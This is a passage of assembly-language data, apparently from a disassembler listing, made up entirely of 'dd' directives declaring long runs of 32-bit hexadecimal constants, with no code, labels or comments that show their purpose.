		dd 4142B3A9h, 12CE4E5Fh, 0B828D168h, 4A6CC071h,	5CF72C17h
		dd 550010DEh, 296FAD1Eh, 9759CEh, 4A1CCAB6h, 0EA46505Bh
		dd 7C072FE1h, 812AFAFEh, 52840400h, 0F680B0B6h,	0B3531D93h
		dd 0FE38187h, 92E56DE9h, 0DA815CC0h, 0CC6A7A8Dh, 0BD650FFDh
		dd 9709B1B2h, 0FC572B5Ch, 0E67E5A4Bh, 9812FA97h, 4B6ECFAFh
		dd 68418CEEh, 0E9A9DE62h, 9034D0E8h, 0D54209F6h, 0B60B36EEh
		dd 51AD88DEh, 0C06E64C0h, 0B3E97B1Ah, 5A8DC04Dh, 72AA8DA0h
		dd 0B8504A85h, 9C5B72AFh, 0DA685402h, 6C4E754Ah, 1EBC9B30h
		dd 0E637C580h, 242298EDh, 52DAF9ECh, 9C3178FFh,	82FEC935h
		dd 0D591CDC2h, 527CC26Eh, 0BFA7AB54h, 0BF24FA97h, 3EA35F41h
		dd 47A41E85h, 2E131F7Ch, 0C9B44A74h, 0DC4ACC41h, 5989C1B7h
		dd 607CFD26h, 0F681C937h, 2A0994B1h, 2F02939h, 0DD04F1D1h
		dd 0E91A0E34h, 8720CF9Dh, 468B4A7Fh, 316827FAh,	2EB4EAC9h
		dd 305CC902h, 4879FDC3h, 0A8E6F4A5h, 2661F882h,	166A1A9Dh
		dd 0F6FF80B2h, 0E24A88D4h, 6CDE8BBFh, 563E6409h, 0C15D7CDAh
		dd 0BA9B7516h, 843E61D9h, 2D58B00Ah, 135C7C9Dh,	6683AF05h
		dd 4F71D85Dh, 29301F92h, 0A00768E8h, 97FFF9Bh, 0DBF76874h
		dd 8CF8780h, 2927647Bh,	13A67BD8h, 1AC4BF2Dh, 0CBFE0C94h
		dd 4204966Ch, 8CBFABEAh, 5540B8CCh, 6DE70781h, 0B2219948h
		dd 0ED52D17Ah, 0DF43C502h, 5DD32960h, 0B0D4592h, 9F6D4199h
		dd 39E22EA4h, 9C50551Eh, 83E8E70Ah, 6D13378Ch, 80EA2959h
		dd 4BC4EC9h, 5EE4B34Ch,	0BD2736B2h, 8C79A70Bh, 0BB11E56Fh
		dd 98344E0h, 872FE47Dh,	81D06A5Dh, 62348DD4h, 0B267B47Fh
		dd 9D2778B5h, 0BAC1E976h, 3352FEF8h, 0B98F8253h, 0ED040349h
		dd 0FE75B5C0h, 3FC7C548h, 0B35793D0h, 59CA5321h, 0F2EC617Ah
		dd 0F2147EE9h, 20ED1BE0h, 0E5C08838h, 5512FC05h, 0A0D8AAFEh
		dd 4EE695BCh, 0B1CE020h
		dd 0F96F1DBAh, 0AC588005h, 9BAA4A21h, 0E7817CA5h, 0FE21C57Fh
		dd 0BD5FC2A7h, 0F432843Ah, 15A109B8h, 74F0341h,	0C8A843Ah
		dd 0EEA1C282h, 5083B75Bh, 0C880CFB4h, 0EA3CB2F2h, 5D364CEAh
		dd 342D5636h, 0D10A1398h, 9347A40Bh, 622EB002h,	68D0816Fh
		dd 0F06B8A39h, 365C1339h, 5F833E71h, 2EA62401h,	3A3CC57Bh
		dd 0CEC1AB3Fh, 25937377h, 0AFB065DDh, 6A8BB959h, 362231EAh
		dd 0E42CB251h, 9D5CD6FCh, 0A22D82C6h, 9C1C7DF1h, 0DAD0D127h
		dd 1D5C0F54h, 0F26B71DCh, 3E89ABC1h, 0C96867EAh, 62859C03h
		dd 2661F648h, 77A763B9h, 0FCF6E72Fh, 4D562FA8h,	6CF4AF2Ch
		dd 84FA4544h, 2FE8EFE8h, 653A7EE3h, 50C705FDh, 68A33507h
		dd 0A84D0B4Bh, 74571862h, 80D3545Dh, 3074F5AFh,	23970B5Dh
		dd 54F4C29h, 6F68E0FDh,	4334AB69h, 78ADFF1Ch, 62619E2Eh
		dd 5509CFBCh, 0FD298F18h, 915E61FAh, 4BE737D8h,	7EE23963h
		dd 2CE230ECh, 0EC54214h, 1C2F1968h, 8F38FF25h, 0A0004EDh
		dd 0F50147F4h, 0D2A30EE9h, 2AC7E8DDh, 2918BD95h, 0DCFE5BDEh
		dd 8F2D9190h, 0C55CF766h, 0EE142E68h, 0B21218F6h, 441E23B8h
		dd 873E77D0h, 0D1F7CD18h, 69F9E908h, 554ECAh, 35FC05FBh
		dd 93D25B5h, 14A6A665h,	21354102h, 4572F74Ah, 0D93B5777h
		dd 5E33A44h, 4B4FC50Bh,	82FBEC01h, 2470A640h, 4A347090h
		dd 9884EF55h, 5E160816h, 38EBE513h, 1100E6DDh, 9605540Ah
		dd 9D10CAE9h, 0D15F3CB8h, 106CE54Ch, 774F9FE3h,	8F828980h
		dd 4EFF2AF8h, 9CBC20A3h, 11585A2Eh, 0D7A6973Ch,	1351DFE7h
		dd 0F53CE87Fh, 0F36F9221h, 90E1BB04h, 6E71CA01h, 0EB0A9104h
		dd 2E1D3FB7h, 800DE59Ah, 59012C85h, 0D9C5973Ah,	0DC172249h
		dd 4853DFC0h, 2C7B9FEDh, 0E9185604h, 0F239074Eh, 2E803E2h
		dd 0A8B1BB33h, 0DE89CF8Ah, 0DE690D5h, 505E80B0h, 0D7E88925h
		dd 0F1639805h, 0FAD52FD9h, 0BD4857EFh, 0B3F8C4FEh, 54B15C09h
		dd 3ED10753h, 54EA0858h, 1D6E0A34h, 5F3240C0h, 20FD639Ah
		dd 114E4DD3h, 0EA01A871h, 91259C61h, 0B14C3AD5h, 3EBF4150h
		dd 0D4D2423Ch, 1F369306h, 580F5A37h, 647ACC5Ch,	37EAFD44h
		dd 7137467h, 0BF107DBAh, 0F8D7317Fh, 0A33D5E20h, 0C23E2FFAh
		dd 0F0EEF781h, 18EA2C35h, 172C93EAh, 0DF4D1F8Ch, 0F1041AB6h
		dd 0F8A9D9EBh, 1CC0F36Dh, 506AB368h, 2959013h, 67271EC9h
		dd 8957413Ch, 0E9CC77F3h, 0F3C8C89Dh, 2CD82854h, 0EDC9C483h
		dd 4F210C6h, 4F486319h,	12DAD4BBh, 0CDA20108h, 2074936Dh
		dd 46903748h, 2FED2A72h, 62534EC2h, 0C6CCE84Eh,	0AD571EA0h
		dd 0E78ACB3Ch, 6A4A9052h, 0BE7074BAh, 68B95E0h,	81178644h
		dd 0A6760CF1h, 75C068B5h, 4D98970Bh, 309D3314h,	10BC7A0h
		dd 0E6BF0563h, 6A2A2343h, 442532F8h, 0E961565Eh, 2C6AF167h
		dd 88A83190h, 0F882AC19h, 5080209Bh, 808C053Eh,	35402526h
		dd 17E6A6A1h, 8C689BBh,	192C4859h, 0C07BD303h, 0D0AFDA0Ch
		dd 15BD05A6h, 0FC164E6Dh, 24573F4Ch, 0CB131DEh,	0B96DBD8Ah
		dd 0CD395B0Bh, 0C09AB882h, 38F1A6A0h, 828C163h,	0E0978709h
		dd 9703E979h, 6E0CAE22h, 0E950E95Ch, 0F88D4F3Dh, 7968A0EBh
		dd 7F9CBD49h, 19BAD148h, 0EAD14E5Dh, 1FEBB4C4h,	0AFD621B6h
		dd 0EE81C3FEh, 86FFDD78h, 14E00014h, 0E974761Fh, 40D6A779h
		dd 9665C71Eh, 0DAE91F6Bh, 0FA5B7F18h, 35FC9729h, 18769747h
		dd 0A2EEBE44h, 0E95105DBh, 0C8BFD638h, 0A7512056h, 1DFF2A59h
		dd 78C281D5h, 0E77B2835h, 8821CB6h, 0BB00FBF1h,	65934F76h
		dd 38519729h, 0D153D2C2h, 208288BBh, 0C8283326h, 0BE0E8A60h
		dd 503D5BAFh, 17C58F03h, 0AC10A66Ch, 67090C52h,	252D0C45h
		dd 54D05F15h, 0F26C551Ch, 14476885h, 10E7C860h,	0E90A1354h
		dd 1118352h, 0D7D8B8C5h, 3F7214E5h, 0EB2EE984h,	9D8EB314h
		dd 7DAAE2D2h, 15896452h, 0C2C9209Dh, 7BA9ED02h,	0B16B4BFCh
		dd 0C3F27ECCh, 684F0B96h, 2E5928E9h, 5B847CC1h,	12090AA4h
		dd 0AF9FC51Dh, 0EB83CC02h, 505E7701h, 2CC1FC49h, 6004011Ah
		dd 7B01D678h, 0DC2F8BFDh, 7FBBE700h, 7E2F2873h,	91CD131h
		dd 655D489Bh, 10C54A40h, 0B7B9022Dh, 4347516Dh,	0F27780ABh
		dd 6CE91772h, 0B75EA45Bh, 0A91034Bh, 0BA045839h, 4C1CF186h
		dd 4D7D7BABh, 0CE4E12E0h, 1EB44859h, 55D323D5h,	0A64CA30Eh
		dd 90C2265h, 0F1592E51h, 0B9209EF8h, 71B700E7h,	0FA30B0B2h
		dd 0C24BFE5Bh, 0FAD738E0h, 2DE7E09Eh, 0DFC9F1E9h, 0B621FCC6h
		dd 55F0255Bh, 682F0C78h, 0ED7AD6F7h, 0E5071F2h,	183DCCB4h
		dd 4D058055h, 250A604Eh, 0F82E7907h, 3DC730E9h,	7331ED53h
		dd 2CBE0E5Ch, 0C20955FDh, 60815618h, 23F3BE8h, 0C1B8E912h
		dd 42B44A00h, 0E647F480h, 0F6DD1EECh, 89E40CDCh, 0E9138D10h
		dd 6241D3D7h, 757E21C7h, 0AA07408Ch, 950BC577h,	77B0771Ah
		dd 2C795BAEh, 6F36EC93h, 379FDBB5h, 6174C2D0h, 8F3F957h
		dd 0D626E293h, 48301E05h, 39F7ED0h, 0FD025E97h,	5D0840A4h
		dd 0AC79D197h, 0AA44137Ch, 443AE79Dh, 168E980Fh, 0DA090482h
		dd 6ED2855h, 539A099Bh,	0C177E5B1h, 122F863Fh, 5B2CBA91h
		dd 0FDDDB2DDh, 3E80A421h, 3C4750BBh, 87A2C501h,	0EC580806h
		dd 0CE394609h, 0D780DD55h, 733731ABh, 61A92D0Fh, 33E98260h
		dd 0BA65FDA1h, 4197CA27h, 0A40510E4h, 2C90882Ch, 0E29591F8h
		dd 0D0D1D64Fh, 0E19CB310h, 6EB5044h, 1EA82002h,	85A0855Fh
		dd 5367B789h, 8509030h,	263A4C23h, 5F1BDC1Ch, 1822EC2Dh
		dd 0DBD84E55h, 0F498C12Fh, 3176A753h, 3879B008h, 5A66F409h
		dd 888C2501h, 9C2229E5h, 5E9EB02h, 0A11977E1h, 0E0857AD5h
		dd 93BAB6ABh, 14355501h, 0F43B2B30h, 475F9F7Dh,	0AD077EACh
		dd 0C579F405h, 9CB924Ah, 0C6138554h, 8EBEA6C4h,	20BA581Fh
		dd 0C669047h, 4A113E9Fh, 693F3778h, 0ADE90CE1h,	608852B3h
		dd 5B58D2DCh, 0AA3BF580h, 510289C0h, 1F380F6h, 5AD58659h
		dd 37F1FC52h, 0DDE00E5Ah, 70B05066h, 4AC57685h,	510ED58h
		dd 0CB4BE9DCh, 685529D0h, 31A18F1h, 0A763BA6Bh,	0D96D5981h
		dd 0E4D8FA93h, 5829CB85h, 141E2204h, 0A700044h,	22B96293h
		dd 6E72270Fh, 0F181117Eh, 1F136C8Fh, 2DE9CEE4h,	0E7121C88h
		dd 3E857C55h, 21324113h, 0AC8D93AAh, 20BC68Fh, 96ADFE7Ch
		dd 80F8C121h, 3CD42F3h,	552D905Eh, 0C3BA1D16h, 0D180E57Bh
		dd 208A90EBh, 4590977Bh, 0ECC03809h, 0F9538405h, 0E1880600h
		dd 245B6FE9h, 7E645BEh,	4A88CE44h, 4AC84F34h, 9EB6486Ch
		dd 0F8AF6A5h, 290FAFEDh, 0E9EC0156h, 0B640627h,	0FEC403B3h
		dd 0BFCB80C3h, 0DAD9E399h, 62C8AC3h, 5B059B8Dh,	0E9F58504h
		dd 9BD0DF32h, 8538DD19h, 0BAE56EC3h, 59C2FC44h,	0BEF20E98h
		dd 68597241h, 57C21A6Dh, 0E9C2595Ch, 75EDCA5Ch,	4F5EE35Ch
		dd 0AFC9535Ch, 9F29D1C8h, 8E06068Bh, 7D440BB0h,	80FA0D28h
		dd 0F5D5F7C2h, 8BA97808h, 0A5D45686h, 0DE2AD982h, 0AA0F215Ah
		dd 64F4B13Eh, 0DE146A66h, 0E3093D05h, 6C82FF10h, 0A0BBF0C1h
		dd 0BD4FF1A5h, 0D007455Ah, 285A042Ch, 12AAB28Eh, 89D3E2E4h
		dd 2DA140DFh, 0CD1E126Eh, 0DD10BF06h, 0EC585007h, 0E340FA4Eh
		dd 1368C8BEh, 0DD1ABF31h, 61C0F355h, 62699AE9h,	48B90BB3h
		dd 0AC2AFE4Bh, 0AEE9C157h, 64B73BA8h, 56E6800Bh, 0AE1CD8F4h
		dd 0CAAFFE12h, 0F330020Ah, 0DC7BCAE9h, 93D989F2h, 0EB6F04FEh
		dd 0B57F78C8h, 0A25A165Ch
		dd 0FDDA1A08h, 76BFC466h, 63BC8C39h, 62A681Ah, 15987F2Dh
		dd 15A2AE5Eh, 93D61C05h, 58F0EE32h, 0AC6C16FCh,	0C490BE41h
		dd 5A53E942h, 0C153E823h, 7AC25FD8h, 3F8132BCh,	1E94B39h
		dd 1AF66A56h, 0D3AD5F3Dh, 0E1686107h, 3F3B7621h, 0AAA210E0h
		dd 0CDAB00D4h, 61741EC4h, 3C2A0C1Ch, 0F445E138h, 0ED04B4F5h
		dd 0EF21887Fh, 0E635CFE9h, 18490555h, 70C3294Dh, 0FCBF537Dh
		dd 6F5C59D2h, 49D2F831h, 68088E63h, 923E348Eh, 43A4F36Eh
		dd 0AB25167Ch, 0BE950101h, 6E598D3Ch, 50EBF916h, 15580B22h
		dd 6A09EF02h, 0E943448Ah, 42081E41h, 0CDA390B4h, 6B101CE4h
		dd 4B48BA67h, 6CFB8CDEh, 6E5E6929h, 5B64D6D8h, 100EE649h
		dd 2913B961h, 0C400E2CDh, 0E1F34E72h, 0B6D02779h, 29FE79CAh
		dd 0B576E205h, 52B81FC0h, 7B930A54h, 1D0603C7h,	1336AC31h
		dd 201554C5h, 0E84B6C04h, 0ECE9AA0Eh, 531CC2B4h, 0C1DDF722h
		dd 0BB00173Dh, 453DF34Ah, 0B28D1507h, 7A2C4FEBh, 73E5B587h
		dd 5FF6E389h, 1B682398h, 93FD6CFFh, 933E00EEh, 0E96A8B4Ah
		dd 9796F120h, 1E8EB763h, 19470D0Bh, 5FEDE6Dh, 8063CE1Eh
		dd 0B0178D96h, 0E104217Ch, 38D43ECDh, 0AE0B9CFCh, 0D0B70Bh
		dd 668A9C02h, 0F0E4E9A8h, 0C15F6F43h, 0AAF3F525h, 291289B6h
		dd 3FDD09DEh, 0F1985B14h, 0AB97014Bh, 2501F069h, 1BF1D16Ch
		dd 0BF8E864Fh, 0A1C6B26Fh, 0F6F85E96h, 0BE560D39h, 20DA43EBh
		dd 517FDF63h, 2CE5035Ah, 0A9FB0804h, 2DE84CF2h,	55E84296h
		dd 2BBF7DBh, 0D845E902h, 9022FFFEh, 0D6095DFBh,	970500D5h
		dd 552AD531h, 9F0B2090h, 782CA96Ah, 0DA11202Bh,	68E3D00Fh
		dd 49349354h, 0D8F6B107h, 990E0865h, 38FF36FEh,	48C0247h
		dd 5E3C05Ch, 748BAA50h,	9079B685h, 69B551DBh, 1EBCBB0h
		dd 0D3605057h, 0DD0E9720h, 0A8E6EF8Fh, 50BDE10Dh, 0D16EF3A5h
		dd 121B8163h, 0A749F4EEh, 0E9C1C17Eh, 0DDEBA213h, 6AEB69AFh
		dd 493AACAh, 12AD8303h,	0E173FA6h, 3361BB49h, 297960F6h
		dd 0F0398DD0h, 1E5FC22Fh, 731C20CBh, 27B67A95h,	5457455h
		dd 0BBBD803Dh, 0BE355F73h, 0E90BC2BFh, 3B52F428h, 7D0A5E1Dh
		dd 0F0DBF86Fh, 0D8C082C7h, 0BAA123B3h, 2BC0F184h, 0F7AB4B12h
		dd 765CCD7Eh, 48BF7DDCh, 2C056314h, 85183263h, 0E217AEF2h
		dd 0B93C3CFBh, 0A44C133Eh, 1718E431h, 0B8CB010Dh, 0D1C3502Bh
		dd 0B82BA95h, 392ABF66h, 7752DA07h, 0B96D87BAh,	87FD38C3h
		dd 0A5BE61Dh, 56CF87Ch,	9F03E220h, 6069585Ch, 83BDFB1Bh
		dd 0F6E1999Eh, 0D61FDE5Eh, 25C2466Dh, 95D7D20Ah, 0E29923Fh
		dd 1250D349h, 44FAB7B4h, 84EAC09Ch, 0AA63854Ah,	5B0434CFh
		dd 9515E955h, 0E3C1AF5Bh, 0C3125D21h, 0DA1CEB55h, 32A077ACh
		dd 21514DF7h, 90C6F60h,	5036547Dh, 0FA8ACA4Fh, 313231ECh
		dd 56F0B96h, 0E7A7E3BCh, 4ADF599Dh, 0B57B77BBh,	0DF628BA5h
		dd 1A55989Ch, 14A82A8Fh, 6D488949h, 3A625002h, 0C2DF2136h
		dd 0D13948D8h, 65102E7Eh, 4B6610ACh, 1232CFFEh,	0A0430CABh
		dd 0A253E1BDh, 362F7D4Dh, 0D6530892h, 0F84E5B28h, 0CC2E5E03h
		dd 4565FFEh, 0ABE1F66Dh, 4F874988h, 0FAB6CC46h,	1AD63049h
		dd 6238AFE1h, 4345102h,	0AF585BDDh, 0B3C37B34h,	3AD4DDE9h
		dd 7F688BFBh, 7F40293Fh, 5C3C8B27h, 0C38454CBh,	0C4ED1B2Fh
		dd 0C0BB05F5h, 102AF4Dh, 0D35CECC8h, 0E96C6018h, 0C2717F0Bh
		dd 25060BBFh, 9CBA52B1h, 0AC408B35h, 0A46D945Ah, 0EC8225F0h
		dd 1955C131h, 0B920894Eh, 0E9531657h, 0B49D813Ch, 160E6FA4h
		dd 25D40894h, 0D7E9FB01h, 0D2CF64E5h, 558AE095h, 6888C2CFh
		dd 83A274DFh, 3A5F5B26h, 2BD00C72h, 4B2100BEh, 86B80A11h
		dd 64588A77h, 0E7082FA3h, 78AF829Bh, 1ADF30ACh,	0AEACC0F5h
		dd 2BE69FFEh, 0C9BB444Ah, 72C43E83h, 0D77DBCAEh, 0BA9362A2h
		dd 58014383h, 151BA03Fh, 0C3A88C43h, 0F3BFFEA9h, 3D5A1FE2h
		dd 27FC9AADh, 3228B5C6h, 88724C8Ah, 5BB2A4D7h, 176689B0h
		dd 21645268h, 0F054B58Dh, 0F50980CDh, 0D9EB8896h, 720A0882h
		dd 0A4397C89h, 27FAF3FFh, 0C74AC615h, 8698BA00h, 4553552Bh
		dd 32330752h, 1E6C642Eh, 56444103h, 4C495099h, 547E4E0Dh
		dd 0AAA4C71h, 0E9C20115h, 1D28FC4Eh, 0AAA18768h, 0DEADA107h
		dd 7DC32AFDh, 0A31521A2h, 42A26D1Dh, 0A4B81199h, 28088F21h
		dd 848590A5h, 7B48A61Bh, 71228444h, 0C2D58620h,	10C43EADh
		dd 4F09F200h, 8C4A3348h, 8D768B00h, 0A6B4C9CEh,	0D3820023h
		dd 13C6AFC4h, 602EF04h,	48314651h, 8C2A4096h, 71A700EDh
		dd 77CBAECFh, 0C3032FDDh, 0A470E568h, 7650E8B7h, 17DB0701h
		dd 60193EDEh, 0CACD8A41h, 83BCA900h, 2EFBC6D1h,	9CBB3B5Dh
		dd 0B1EC0480h, 0EFD9BD4h, 4192C830h, 0BD709198h, 0E093A9E1h
		dd 0DC0039B4h, 20C50BF8h, 0BC83ACh, 16541F26h, 0A2E8D501h
		dd 2B004773h, 59464DC4h, 30927920h, 1C17164Ch, 0DC00F415h
		dd 8D4F88DDh, 4ED08Ah, 3C48163Eh, 0ECAE91A9h, 0EDD6EB00h
		dd 6E322A2Dh, 3980259h,	0A92C0499h, 0DE00BE78h,	1C051A3Dh
		dd 4A5F78h, 8BA0B761h, 0CEE3F4A2h, 0E558h, 0DACBFE0Ch
		dd 71C3Bh, 475C7B1Eh, 899EB95Eh, 0D902A07Fh, 0FF45E4C4h
		dd 61A8AEC9h, 17C78735h, 1EF7A8C3h, 1474FCB6h, 0AA591352h
		dd 60788E00h, 3BDE670h,	0E500ECF2h, 0FA1DBFF8h,	1FAAE3E2h
		dd 2D5EAEDh, 0E05D282Fh, 1121C281h, 10F4D84Eh, 44A37B18h
		dd 14D879CBh, 0F7C1AABFh, 30455280h, 84009347h,	0C0D7866Fh
		dd 2C9DABh, 0A8BDDA79h,	0EAFF18BFh, 43540100h, 8295452Eh
		dd 0EE8D3F6Dh, 0CACE7298h, 3040DE78h, 41390067h, 732D2AEAh
		dd 3BC0CA50h, 698AAB78h, 7121009Eh, 7E159B66h, 23026713h
		dd 0F61BA7EAh, 0F4AC496Ah, 0FFEB8A50h, 708000BAh, 0B363D359h
		dd 3E918FA4h, 54406200h, 6221C7Ch, 6FA583B2h, 75002A41h
		dd 2DF81FBEh, 9273F60h,	0B3A3E228h, 0A2A93401h,	0D93EF0B5h
		dd 0D3A12600h, 391C34B0h, 8E7B009Ch, 7E968155h,	0A9096E57h
		dd 88C1AEh, 9E93F992h, 0B66009Dh, 334B6C44h, 8403BD56h
		dd 7EB4FAD1h, 16078D2h,	0C4915C7Dh, 6B876EACh, 0F3B0B60Ah
		dd 0B1639C40h, 75DB0EA6h, 3300D238h, 5B739405h,	765EB704h
		dd 57815089h, 0C32042BFh, 0C8E901B6h, 666BB1B0h, 6CDBC0B2h
		dd 0C0E0B52Dh, 306D820h, 0E7E91F78h, 0C800633Bh, 0CB5BBC66h
		dd 98ED0E09h, 93FA9Fh, 3A41E2ABh, 5047144Dh, 850052F4h
		dd 884AC792h, 1F38DFh, 212606FEh, 5CF1FC18h, 0C5258432h
		dd 0FA66445Ah, 0DDC624DBh, 408C4A76h, 8290A5B2h, 0BF167C90h
		dd 1E028398h, 44DAC3D8h, 5D7A07A2h, 0F2C96848h,	1F40CD4Dh
		dd 0B53B953h, 1471E91h,	0D100FBEAh, 0FCFB2CAh, 2EE58258h
		dd 282730h, 0B5D6A36Eh,	0CD0064EAh, 0DE7EB762h,	0C21EEB9h
		dd 72EC1909h, 91007F40h, 0E457FCD8h, 1421A3Ch, 0BB160ADFh
		dd 75435F77h, 8041C5A5h, 8D8A5080h, 0D4F5C2h, 0F14ACB09h
		dd 5B9680CEh, 0CFBCEC00h, 587B5389h, 525901D3h,	3DFE4431h
		dd 43CB407Fh, 2270273Ch, 120D4A00h, 0A778DF17h,	1AE500F2h
		dd 8491354Dh, 1D006350h, 0E2A97588h, 19BC878Eh,	1074F932h
		dd 4A53114h, 0AAC5ADh, 806982Bh, 905A61EBh, 675FEDC2h
		dd 4F5681C2h, 0C9104926h, 50D3479Eh, 0DA572243h, 4E020C98h
		dd 58486081h, 29B26807h, 6238002Ch, 21675475h, 0B598AB7Ch
		dd 0B07B8202h, 4165E572h
		dd 1681AA2Dh, 276F5FE3h, 0EC97E136h, 130128E2h,	67F2DB34h
		dd 6F303253h, 2CE8A4h, 0B6A3AAC4h, 0A0B8DF7Dh, 0AE68A13Bh
		dd 803A93F1h, 60657A9Bh, 627527h, 7B7674Ah, 6CDC7B14h
		dd 13CDED00h, 737A1BB2h, 0B3D41D0Dh, 129D3BBh, 3911A6CFh
		dd 0F00D6DAh, 34494Eh, 798E894Bh, 0BACFC890h, 1205D102h
		dd 0E04114FDh, 596330Dh, 364B4C0Fh, 78F3004Dh, 0B8CDCA8Fh
		dd 8012F90h, 2E7413F3h,	4B20CBF8h, 0B66407FEh, 3E2C1106h
		dd 0B514CEE2h, 2A4595A3h, 0C997F2B8h, 743EF800h, 248F3C62h
		dd 0D9D804F0h, 0C0542193h, 0AD7027D9h, 3C5BFA0Eh, 7CE981Bh
		dd 12FB2E10h, 0A870064h, 0AD574F48h, 0F4E3E101h, 6ABF972Ch
		dd 409FE196h, 1E39DB1Dh, 0B7912009h, 8DA2B500h,	9E6F1A4h
		dd 9F06C3D1h, 1D3ACD10h, 0B71F0824h, 0C7415F92h, 88BE04A3h
		dd 0F48EE180h, 0A472AB46h, 0B89BB300h, 0A926F1E6h, 23EE0FE9h
		dd 0FF64069Dh, 0B5A591D2h, 44936E5h, 0FFF0B9A7h, 0E864AD83h
		dd 1FB6733h, 0EA0229A1h, 3FD1FCEh, 0A66400CCh, 0E4B699B1h
		dd 8F0028F3h, 7B938456h, 0ECCA7ED7h, 1F8924Eh, 3F2C4D54h
		dd 208180F9h, 2500476Bh, 0AE107848h, 3BC5F37h, 0E203D09Bh
		dd 16A30ACAh, 766F148h,	0C35A466Dh, 9F77E040h, 0A8D598B2h
		dd 0C4A518Fh, 8CC2085Dh, 0BF189213h, 490F4379h,	701E9842h
		dd 0E9E000CEh, 85A78318h, 5B00A693h, 647C551Bh,	0B87F57C0h
		dd 0EEFCFC34h, 0E7AD4C8Ah, 5CB89D0Bh, 370025D0h, 0CDD49269h
		dd 0E6F7A7E0h, 5DE24CCBh, 0C49B2F00h, 0B1464C45h, 8077D927h
		dd 0ECEBACA5h, 2EEE00D7h, 6D2B1429h, 6C00556Ah,	0AB94A9AEh
		dd 0DAEFE8h, 0F5A8FDCCh, 35E4CDE2h, 240D2200h, 624B6077h
		dd 92A70FB0h, 97E513B2h, 9DF302CAh, 63415503h, 85FA3015h
		dd 0AA00B87Eh, 410FC64h, 6FB02DBh, 3D73B90Eh, 64901211h
		dd 2B25242Eh, 0D5D2139Fh, 85455A0Bh, 23C07D47h,	0BA777F4h
		dd 0A218B8B0h, 42D73680h, 0D3C00E6Ah, 70859243h, 82479487h
		dd 5EE0314h, 24B23152h,	3B6A5F07h, 81457F98h, 0C3AC6881h
		dd 3ECF270h, 2F445303h,	34FBB04Fh, 0A03AD308h, 422F60F2h
		dd 0BDCA94FCh, 6D00D89Ah, 0EB95AAADh, 0DC91EF6Eh, 464D0047h
		dd 385FFE7Bh, 640B196Dh, 0F88022B1h, 0DD00E423h, 26D4C5ACh
		dd 0B8C6ED05h, 962B900h, 0E0009FB8h, 6DCE4BEFh,	22035A02h
		dd 0A37DD91Ch, 67FBFFh,	0C989C268h, 659BE1CEh, 6B146860h
		dd 4C8C4C64h, 0B6564ED5h, 251AC112h, 5A0F90ECh,	8D00CC1Fh
		dd 0D4C39322h, 6EFAEE7h, 3E841DE8h, 0E005308h, 0A7CEE607h
		dd 2EFB1CBEh, 120CB330h, 2A18000Ah, 0EB428AB7h,	31F6D300h
		dd 7C1EAD18h, 5D46005Bh, 57AC99BEh, 0D14CDB11h,	0DAE10056h
		dd 564E5C2h, 2C9713D6h,	3F529Dh, 72653148h, 2FC15E94h
		dd 62455D64h, 2ED9CB70h, 30C1EB40h, 0BAF0361Dh,	1C00DCBh
		dd 9EC04EFh, 0E85EC030h, 1F8D60C3h, 97748C93h, 46F1C09h
		dd 9C148275h, 78560B3h,	0C0B3ACEh, 998D1780h, 7E937738h
		dd 0D766D11Fh, 25DD80FBh, 97B536A5h, 78613076h,	54A2C440h
		dd 0A1C5D03h, 0F7536BF9h, 723D5A40h, 0B823001Eh, 5CA26929h
		dd 93FC8726h, 653E2000h, 0F2189106h, 6D3D5D44h,	1909640h
		dd 2411C552h, 0ECC2CDDEh, 0CC00D39Bh, 4AF4A6DFh, 2E2B0763h
		dd 59F20BEh, 0C04E6633h, 5187CD03h, 5730AF60h, 943850h
		dd 20665383h, 0A2C94F92h, 0C691980Bh, 885E0949h, 0E80FE91h
		dd 34E6CFF6h, 0AF02008Ah, 6B6AA3CAh, 8400E5BCh,	0D8F99E98h
		dd 62ECB7h, 0CEF55F0Ch,	23B21D18h, 4F64730Fh, 79AF464Ah
		dd 0DF7F001Dh, 8AF3872Bh, 0A9B9EBA8h, 0C9948385h, 0C79315D1h
		dd 0C7371064h, 10EE8E36h, 730AB61Ah, 294A6B00h,	0CB36E35Eh
		dd 7D9A183Ch, 0EDB85A68h, 4121525h, 0F1903EDEh,	309CE27Bh
		dd 6C4C0166h, 2C7C4465h, 0C73EDC12h, 0B936F002h, 0B6998019h
		dd 4C2BF6E1h, 212C83AEh, 9E1B806Ah, 900DD8FFh, 225D4B0h
		dd 7CC50485h, 683C41D0h, 0EF299FFBh, 9D569C55h,	0F6FF125Fh
		dd 56554292h, 74DEC7Dh,	349C0EF0h, 3E35F051h, 609574E3h
		dd 6810404h, 0B207E8F1h, 0BB3D0C37h, 0F44B2078h, 1362F33h
		dd 0F28599FEh, 19B8545Eh, 0C2D652C9h, 0B0753E00h, 4F458F29h
		dd 6024E808h, 81E901A5h, 5911A131h, 0B2B9AC3Ah,	0A0F45714h
		dd 586DE9F8h, 211FBDD6h, 0B8ED00E8h, 7AAA8B7h, 0C5033Eh
		dd 5464BBE0h, 1E940Dh, 1B6E41F6h, 0FE839F7h, 0E05A2AA0h
		dd 6137C200h, 41D1365Ch, 14A70082h, 0D981CE68h,	53272922h
		dd 0C7BFE5Dh, 0D8A55A1Ch, 0D34ABA07h, 0F2D16D0Dh, 0C9FC52Fh
		dd 5F0A9B0Fh, 5F838CB2h, 0B2FBB966h, 3E0106FBh,	0DD9F081h
		dd 0B9FB2596h, 8F4721E9h, 15A98DB0h, 0B70F1910h, 0D47712DFh
		dd 601C4217h, 0B03CBA66h, 5AF71E51h, 6893B61h, 56A282AFh
		dd 49F4CE8Ah, 0D86993Dh, 0C348E917h, 680C00E2h,	599DDD76h
		dd 0F0B4A6Fh, 0E8FFB085h, 12CACB70h, 0E77949Fh,	0EEE117B4h
		dd 0E0703C20h, 727C101Ch, 9E94130Ch, 78770854h,	6146149h
		dd 9D7F111Ch, 55061D21h, 7911427Dh, 9B200AF7h, 31C2BF2h
		dd 79ED203h, 2DA31109h,	1B6F86A0h, 0A4790E81h, 1118CA31h
		dd 4208AA93h, 0B9C962Ch, 8FF5FE13h, 64083426h, 108B449h
		dd 76EA9387h, 0F440504Ah, 447D1BE7h, 0A609FA63h, 2FDF9D56h
		dd 43B5E36Ah, 0ECC80002h, 0BB0ADA01h, 0E0061693h, 256E11D5h
		dd 4B3A1E10h, 0B038C0F4h, 0E2539092h, 6771E001h, 69A1A6DCh
		dd 14196A20h, 0A428FCF2h, 1DC33C7Ch, 103A8E18h,	0A9C0B9CAh
		dd 5711FB40h, 5F50064h,	1EC34F46h, 0FD3C5F4Dh, 0E77D0114h
